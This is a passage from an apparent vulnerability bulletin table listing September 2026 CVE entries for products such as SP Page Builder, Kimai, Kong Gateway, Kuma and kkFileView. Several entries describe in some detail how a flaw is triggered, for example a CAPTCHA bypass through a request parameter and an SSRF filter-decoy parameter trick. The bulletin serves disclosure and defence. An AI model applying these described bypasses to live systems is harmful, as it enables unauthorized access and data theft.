&lt;td&gt;Joomla Extension - joomshaper.com - Unauthenticated CAPTCHA Bypass via Request-Controlled CAPTCHA Configuration in SP Page Builder Pro 5.1.4 - 6.9.0 - The optin_form addon read the CAPTCHA type, the expected answer and the enabled flag from the request rather than from the stored addon configuration. Verification reduced to md5($captcha_question) != $captcha_answer with both operands supplied by the attacker, so any value passed.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79700&quot; target=&quot;_blank&quot;&gt;CVE-2026-79700&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;joomshaper.com--SP Page Builder (Pro) extension for Joomla&lt;/td&gt;
&lt;td&gt;Joomla Extension - joomshaper.com - Unauthenticated CAPTCHA Bypass in Module Context in the Contact, Opt-in and Form Builder Addons in SP Page Builder Pro 3.2.6 - 6.9.0 - In the ajax_contact, optin_form and form_builder addons, the result returned by the CAPTCHA plugin&#039;s onCheckAnswer event was discarded and replaced with a test for a non-empty string whenever the request-supplied view_type parameter equalled module. Submitting view_type=module together with any arbitrary token value therefore passed verification. This affected every instance of these addons placed inside an SP Page Builder module, irrespective of the CAPTCHA type configured for the site, and the view_type parameter was never validated against the context in which the form was actually rendered.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79701&quot; target=&quot;_blank&quot;&gt;CVE-2026-79701&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;kaiten --kaiten&lt;/td&gt;
&lt;td&gt;kaiten from 57.192.20 to before 57.214.26 is vulnerable to SQL Injection. Dynamic SQL statements are generated without the required data validation and without using parameterized statements or stored procedures.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79303&quot; target=&quot;_blank&quot;&gt;CVE-2026-79303&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;kboard--kboard&lt;/td&gt;
&lt;td&gt;The kboard WordPress plugin before 6.7 does not verify ownership or context before deleting board media, allowing unauthenticated attackers to permanently delete its uploaded media files and their database records by iterating identifiers.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88910&quot; target=&quot;_blank&quot;&gt;CVE-2026-88910&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;kedro-org--kedro-plugins&lt;/td&gt;
&lt;td&gt;Kedro-Datasets provides data connectors for Kedro. From version 5.0.0 until 9.5.0, kedro_datasets_experimental.pytorch.PyTorchDataset in kedro-datasets loads .pt model files with torch.load without enforcing weights_only=True, and user-supplied load_args are silently dropped. On PyTorch versions earlier than 2.6, a malicious pickle-backed model from an attacker-influenced shared registry, downloaded checkpoint, or partitioned external source can execute arbitrary code when a Kedro pipeline loads it. The issue affects only the opt-in kedro_datasets_experimental component and does not affect users who load only trusted files. This issue is fixed in version 9.5.0.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-62997&quot; target=&quot;_blank&quot;&gt;CVE-2026-62997&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Keyfactor --SignServer&lt;/td&gt;
&lt;td&gt;An issue was discovered in Keyfactor SignServer before 7.6.0. The output file to which SignerStatusReportWorker logs the report can be set to any path, even one that points to a file that already exists. This gives a user (with admin access) the possibility to write files in arbitrary directories in the server filesystem and potentially overwrite files accessible by the local user JBoss.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-25825&quot; target=&quot;_blank&quot;&gt;CVE-2026-25825&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Keyfactor --SignServer&lt;/td&gt;
&lt;td&gt;An issue was discovered in Keyfactor SignServer before 7.6.0. The attribute ATTRIBUTESFILE in PKCS11CryptoToken can be set to a readable file but not an accepted file (i.e., recognized with attributes). In this case, an error is thrown which - together with the error - also prints the content of the file to the application server log. This gives a user that has both SignServer admin access and access to read the output of the server log (i.e., if remote syslog shipping is configured), the possibility to read the content of files accessible by the local user JBoss.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-25826&quot; target=&quot;_blank&quot;&gt;CVE-2026-25826&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Keyfactor --SignServer&lt;/td&gt;
&lt;td&gt;An issue was discovered in Keyfactor SignServer before 7.6.0. A number of properties were identified to not have any restrictions to what path they can be set to by an admin user. Setting these properties to specific file paths can reveal information to the client side. Three specific properties were identified: The property ATTRIBUTESFILE in PKCS11CryotoToken can be set to a readable but not an accepted (i.e., recognized with attributes) file. In this case an error is thrown, confirming the existence of the file. The property KEYSTOREPATH in KeyStoreCryptoToken can be set to a non-existing file that will return an error confirming to the client side that the file does not exist. The property TRUSTSTOREPATH in RenewalWorker can be set to any path (without any restrictions) by an admin user. In the case that the provided path points to an existing file, readable by the user running the application server, but is not a recognized PEM format, it returns this as an error to the client side, confirming the existences of the file.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-25827&quot; target=&quot;_blank&quot;&gt;CVE-2026-25827&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;kimai--kimai&lt;/td&gt;
&lt;td&gt;Kimai is an open-source time tracking application. Prior to 2.57.0, the GET /api/timesheets list endpoint accepts user and users[] target identifiers from a caller with view_other_timesheet but does not apply access_user or verify that a ROLE_TEAMLEAD requester leads a team containing each target user. TimesheetController::cgetAction() adds the resolved users directly to the query while project and customer filtering still permits records on unscoped projects or projects sharing ordinary team membership, allowing a teamlead to retrieve another user&#039;s descriptions, timing data, tags, rate, and internalRate even though GET /api/timesheets/{id} would deny access through TimesheetVoter. This issue is fixed in version 2.57.0.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-52819&quot; target=&quot;_blank&quot;&gt;CVE-2026-52819&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;kimai--kimai&lt;/td&gt;
&lt;td&gt;Kimai is an open-source time tracking application. Prior to 2.57.0, PATCH /api/timesheets/{id} and POST /api/timesheets accept a user-controlled project identifier through TimesheetApiEditForm and FormTrait, and ProjectRepository::getQueryBuilderForFormType() places that identifier in an unconditional OR branch that bypasses the team access criteria. Any authenticated user with edit_own_timesheet can therefore assign an owned timesheet to a project outside the user&#039;s teams, persist unauthorized project attribution, and retrieve project and customer metadata through GET /api/timesheets/{id}?full=true. TimesheetTeamAccessValidator now checks changed project and activity associations against current team access. This issue is fixed in version 2.57.0.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-52820&quot; target=&quot;_blank&quot;&gt;CVE-2026-52820&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;kimai--kimai&lt;/td&gt;
&lt;td&gt;Kimai is an open-source time tracking application. Prior to 2.57.0, GET or POST requests to /en/admin/activity/create/{project} and /en/admin/project/create/{customer} require only the generic create_activity or create_project capability and do not verify edit access to the supplied Project or Customer object. A user who knows a valid project.id or customer identifier can use the preset-parent creation logic in src/Controller/ActivityController.php or src/Controller/ProjectController.php to persist a new child business object under an unauthorized parent, polluting project or customer configuration and influencing later time-entry, rate, reporting, and billing behavior. This issue is fixed in version 2.57.0.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-52821&quot; target=&quot;_blank&quot;&gt;CVE-2026-52821&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;kimai--kimai&lt;/td&gt;
&lt;td&gt;Kimai is an open-source time tracking application. Prior to 2.58.0, PATCH /api/timesheets/{id}/restart, PATCH /api/timesheets/{id}/duplicate, and the web duplicate workflow can derive a new record from an owned historical timesheet after the user&#039;s access to its project or activity has been revoked. TimesheetVoter evaluates the own-timesheet permission before current team access, and its canStart() logic validates object visibility but does not verify the user&#039;s current team access to the referenced project and activity. An old entry therefore acts as a persistent capability to create new time records under an unauthorized project and activity, corrupting budgets, statistics, reports, and invoices after an administrative revocation. This issue is fixed in version 2.58.0.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-52822&quot; target=&quot;_blank&quot;&gt;CVE-2026-52822&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;kimai--kimai&lt;/td&gt;
&lt;td&gt;Kimai is an open-source time tracking application. Prior to 2.58.0, TimesheetController exposes GET /api/timesheets/{id}/stop and GET /api/timesheets/{id}/restart, which reuse an authenticated browser session and perform state-changing operations through GET requests without a request-forgery defense. A remote attacker can cause a logged-in user to request either route from attacker-controlled content, stopping a running timesheet or restarting a historical entry to create and start a new timesheet without the user&#039;s consent. The unauthorized changes can corrupt time records, billing, reports, approvals, and audits. This issue is fixed in version 2.58.0.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-52823&quot; target=&quot;_blank&quot;&gt;CVE-2026-52823&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;kimai--kimai&lt;/td&gt;
&lt;td&gt;Kimai is an open-source time tracking application. Prior to 2.58.0, the official Docker image sets APP_SECRET to the public value change_this_to_something_unique in Dockerfile, and .docker/entrypoint.sh neither replaces nor rejects that value before Symfony uses it as kernel.secret. An unauthenticated attacker who reaches a deployment that did not override APP_SECRET, knows a username, correctly guesses the account ID associated with that username, and targets an account without active two-factor authentication can forge HMAC-protected authentication artifacts, including KIMAI_REMEMBER cookies and login links, to access the account without its password. The updated entrypoint generates and persists a random secret when no safe operator-provided value exists. This issue is fixed in version 2.58.0.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-52824&quot; target=&quot;_blank&quot;&gt;CVE-2026-52824&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;kimai--kimai&lt;/td&gt;
&lt;td&gt;Kimai is an open-source time tracking application. Prior to 2.58.0, POST /api/teams/{id}/members/{userId} and POST /api/teams/{id}/activities/{activityId} verify that a teamlead may edit the Team but do not verify access_user for the referenced User or view access for the referenced Activity. A teamlead can add users or activities outside the teamlead&#039;s manageable scope to an editable team, bypassing the narrower choices enforced by TeamEditForm and UserRepository::getQueryBuilderForFormType(). The resulting relationships can be trusted by RolePermissionManager::checkTeamAccessActivity() and other team-based authorization, visibility, reporting, and workflow logic. This issue is fixed in version 2.58.0.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-52825&quot; target=&quot;_blank&quot;&gt;CVE-2026-52825&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;kimai--kimai&lt;/td&gt;
&lt;td&gt;Kimai is an open-source time tracking application. Prior to 2.57.0, GET or POST requests to /en/admin/project/{id}/rate/{rate}, /en/admin/customer/{id}/rate/{rate}, and /en/admin/activity/{id}/rate/{rate} independently resolve the authorized parent identifier and the attacker-selected child rate identifier without confirming that the ProjectRate, CustomerRate, or ActivityRate belongs to that parent. An authenticated user who can edit one parent object can pair it with a rate record from an unauthorized project, customer, or activity and persist changes to billing configuration in kimai2_projects_rates, kimai2_customers_rates, or kimai2_activities_rates. This issue is fixed in version 2.57.0.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-52826&quot; target=&quot;_blank&quot;&gt;CVE-2026-52826&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;kimai--kimai&lt;/td&gt;
&lt;td&gt;Kimai is an open-source time tracking application. Prior to 2.59.0, the KIMAI_SESSION cookie issued after password verification but before TOTP completion is accepted by every /api route because config/packages/security.yaml protects the API with IS_AUTHENTICATED and App\API\Authentication\ApiRequestMatcher routes an existing session through the main firewall. A Scheb TwoFactorToken satisfies that access rule, and App\Voter\ApiVoter grants API access to its User, allowing an attacker with a valid account password to use authenticated REST API operations without entering the second factor even though web routes remain blocked. This issue is fixed in version 2.59.0.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-52827&quot; target=&quot;_blank&quot;&gt;CVE-2026-52827&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;kimai--kimai&lt;/td&gt;
&lt;td&gt;Kimai is an open-source time tracking application. Prior to 2.58.0, ExportController::createExportTemplate() and ExportController::editExportTemplate() inherit only the class-level create_export permission, which ROLE_TEAMLEAD receives by default, and omit the create_export_template permission required by the API routes and user interface. A teamlead can directly access the export template creation and editing web routes to create or modify global ExportTemplate records marked available to all users, altering export columns, renderer, format, and output used by other users and administrators. This issue is fixed in version 2.58.0.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-52828&quot; target=&quot;_blank&quot;&gt;CVE-2026-52828&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;King Addons for Elementor--King Addons for Elementor&lt;/td&gt;
&lt;td&gt;The King Addons for Elementor WordPress plugin before 51.1.81 does not perform an object-level authorization check when importing template content into a page, allowing users with contributor-level access and above to overwrite the Elementor content of arbitrary posts and pages, including those owned by administrators, and to inject JavaScript through a widget setting that is output without escaping, resulting in Stored Cross-Site Scripting that executes in the session of any user who views the affected page.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84902&quot; target=&quot;_blank&quot;&gt;CVE-2026-84902&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;King Addons for Elementor--King Addons for Elementor&lt;/td&gt;
&lt;td&gt;The King Addons for Elementor WordPress plugin before 51.1.81 does not perform any capability, post-status, or password check before rendering the content of a user-supplied post, allowing users with Contributor-level access and above to read the content of private, draft, pending, and password-protected posts they are not authorized to access.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84903&quot; target=&quot;_blank&quot;&gt;CVE-2026-84903&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;King Addons for Elementor--King Addons for Elementor&lt;/td&gt;
&lt;td&gt;The King Addons for Elementor WordPress plugin before 51.1.81 does not perform per-object authorization checks on a group of image-optimization actions, gating them only on a coarse capability that lower-privileged users also hold and never confirming ownership of the targeted object, allowing authenticated users with author-level access and above to disclose absolute file paths for, overwrite the bytes of, and site-wide re-reference media belonging to other users, including administrators.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84904&quot; target=&quot;_blank&quot;&gt;CVE-2026-84904&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Kirki--Kirki&lt;/td&gt;
&lt;td&gt;The Kirki WordPress plugin before 6.3.1 does not sanitize uploaded SVG files while making them uploadable site-wide, allowing users with author-level access and above to upload a file containing JavaScript which is then served from the site&#039;s own origin and runs in the session of anyone who opens it.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84223&quot; target=&quot;_blank&quot;&gt;CVE-2026-84223&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;kiwitcms--Kiwi&lt;/td&gt;
&lt;td&gt;Kiwi TCMS is an open source test management system. Prior to 16.0, the unauthenticated /init-db/ page handled by InitDBView in tcms/core/views.py remains reachable after initial setup and proxies repeated requests to Kiwi/manage.py migrate. The migration command is reentrant, so repeated access reports that no migrations are available and does not cause data loss, alter application state, reveal confidential information, or produce a documented availability impact. This issue is fixed in version 16.0.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-49292&quot; target=&quot;_blank&quot;&gt;CVE-2026-49292&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;kiwitcms--Kiwi&lt;/td&gt;
&lt;td&gt;Kiwi TCMS is an open source test management system. Prior to 16.1, TestCase.extra_link and TestPlan.extra_link accepted unsanitized user input and rendered stored values verbatim, creating an opportunity for cross-site scripting. Official Docker images and unmodified Kiwi TCMS middleware send a Content-Security-Policy header that blocks inline JavaScript, making exploitation difficult in default deployments, while customized deployments that weaken those security settings may remain vulnerable. Version 16.1 properly sanitizes both fields and resets existing database records that do not validate to null. This issue is fixed in version 16.1.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55630&quot; target=&quot;_blank&quot;&gt;CVE-2026-55630&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;kkFileView --kkFileView&lt;/td&gt;
&lt;td&gt;kkFileView &amp;gt;= 4.2.0 is vulnerable to Server-Side Request Forgery (SSRF). The cross-origin file proxy endpoint /getCorsFile is protected by TrustHostFilter against the trust.host whitelist. However, the URL parameter validated by the filter is not the same parameter the controller actually fetches: the filter validates the first non-empty parameter in a fixed priority order, while the controller only reads and fetches urlPath. By supplying both urlPath=&amp;lt;real target&amp;gt; and url=&amp;lt;whitelisted decoy address&amp;gt; in the same request, the decoy passes validation while the unvalidated real target is fetched server-side - and the response body is echoed back to the attacker.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88592&quot; target=&quot;_blank&quot;&gt;CVE-2026-88592&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;kkFileView --kkFileView&lt;/td&gt;
&lt;td&gt;kkFileView 5.0.0 through 5.0.2 allows reflected XSS via the /onlinePreview endpoint. The OnlinePreviewController passes the user-controlled page and kkagent request parameters to FreeMarker templates without sanitization, and the templates insert these values into raw JavaScript contexts.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88593&quot; target=&quot;_blank&quot;&gt;CVE-2026-88593&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Koha--Koha&lt;/td&gt;
&lt;td&gt;Koha Eval Code Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Koha. Authentication is required to exploit this vulnerability. The specific flaw exists within the web service, which listens on TCP port 8081 by default. The issue results from the lack of proper validation of a user-supplied string before passing it to the eval function. An attacker can leverage this vulnerability to execute code in the context of the service account. Was ZDI-CAN-29165.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-19780&quot; target=&quot;_blank&quot;&gt;CVE-2026-19780&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Kong--Kong Enteprise Gateway&lt;/td&gt;
&lt;td&gt;A JWT signature verification vulnerability affects Kong components that perform JWT validation for MCP OAuth2 or DataKit integrations inside Kong API Gateway Enterprise. The affected code does not properly validate that the JWT signing algorithm is compatible with the type of key used for verification. As a result, an unauthenticated remote attacker may be able to craft a forged JWT that is incorrectly accepted as valid, leading to authentication bypass and potential compromise of confidentiality, integrity, and availability.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-14916&quot; target=&quot;_blank&quot;&gt;CVE-2026-14916&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Kong--Kong Enterprise Gateway&lt;/td&gt;
&lt;td&gt;A SAML authentication bypass vulnerability affects the Kong SAML plugin when the validate_assertion_signature option is explicitly set to false. This option is enabled by default. When disabled, the plugin may extract the SAML identity from an unsigned assertion and authenticate the user without verifying a valid cryptographic signature. As a result, an unauthenticated remote attacker may be able to submit a crafted SAML response and impersonate arbitrary users, including administrators&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-14917&quot; target=&quot;_blank&quot;&gt;CVE-2026-14917&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;kumahq--kuma&lt;/td&gt;
&lt;td&gt;Kuma is a modern Envoy-based service mesh that can run on every cloud across both Kubernetes and VMs. Prior to 2.7.26, 2.9.16, 2.11.14, 2.12.11, and 2.13.7, a kumactl profile manually configured for an HTTPS control plane without --ca-cert-file disables TLS peer verification and sends API tokens over the unverified connection. An attacker on the network path can intercept user or administrator API tokens and act against the control plane as the compromised user. The default local profile is unaffected because it uses plain HTTP. This issue is fixed in versions 2.7.26, 2.9.16, 2.11.14, 2.12.11, and 2.13.7.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-50166&quot; target=&quot;_blank&quot;&gt;CVE-2026-50166&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;kumahq--kuma&lt;/td&gt;
&lt;td&gt;Kuma is a modern Envoy-based service mesh that can run on every cloud across both Kubernetes and VMs. Prior to 2.7.26, 2.9.16, 2.11.14, 2.12.11, and 2.13.7, Universal mode kuma-dp connections to an HTTPS control plane disable TLS peer verification when --ca-cert-file is not supplied and KUMA_CONTROL_PLANE_CA_CERT is unset. The dataplane authentication token is sent over the unverified connection, allowing an on-path attacker to intercept the token, impersonate the control plane, inject a forged bootstrap configuration, and take over the proxy. Standard Kubernetes installations created by kumactl install control-plane or the official Helm chart are unaffected because the mutating admission webhook injects KUMA_CONTROL_PLANE_CA_CERT into each sidecar. This issue is fixed in versions 2.7.26, 2.9.16, 2.11.14, 2.12.11, and 2.13.7.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-52724&quot; target=&quot;_blank&quot;&gt;CVE-2026-52724&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;kyndryl-open-source--hashi-vault-js&lt;/td&gt;
&lt;td&gt;hashi-vault-js is a Node.js module for interacting with the HashiCorp Vault API. Prior to 0.5.2, every API method in src/Vault.js passes failed requests through parseAxiosError(), which rethrows the raw AxiosError while retaining AxiosError.config and the equivalent response configuration. These objects can contain the X-Vault-Token request header and err.config.data request body, including submitted passwords or secret values. When a consuming application records the caught exception through console logging, structured loggers, monitoring, crash reporting, or an application performance monitoring service, the live Vault token and request secrets can be stored in plaintext and exposed to anyone with access to that output. A stolen token can permit unauthorized access to the Vault instance under the token&#039;s policies. This issue is fixed in version 0.5.2.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55102&quot; target=&quot;_blank&quot;&gt;CVE-2026-55102&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;LearnPress--LearnPress&lt;/td&gt;
&lt;td&gt;The LearnPress WordPress plugin before 4.4.7 does not escape a user supplied value before using it in an HTML attribute on a public page, allowing unauthenticated attackers to execute arbitrary JavaScript in the browser of anyone who opens a crafted link, including a logged in administrator. Only sites running a classic, non-block are affected.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86444&quot; target=&quot;_blank&quot;&gt;CVE-2026-86444&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;LearnPress--LearnPress&lt;/td&gt;
&lt;td&gt;The LearnPress WordPress plugin before 4.4.7 does not check the user&#039;s capabilities in one of its administrative template handlers, allowing unauthenticated attackers to retrieve the text, identifier and type of every published quiz question on the site, along with a keyword search over them, which is content the LearnPress WordPress plugin before 4.4.7 otherwise keeps non-public.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86445&quot; target=&quot;_blank&quot;&gt;CVE-2026-86445&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;LearnPress--LearnPress&lt;/td&gt;
&lt;td&gt;The LearnPress WordPress plugin before 4.4.7 does not restrict the correctness flags it returns when a quiz answer is checked, allowing unauthenticated attackers to obtain the correct answer to every option of a question, along with the instructor&#039;s explanation, on courses configured to be taken without enrolling.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
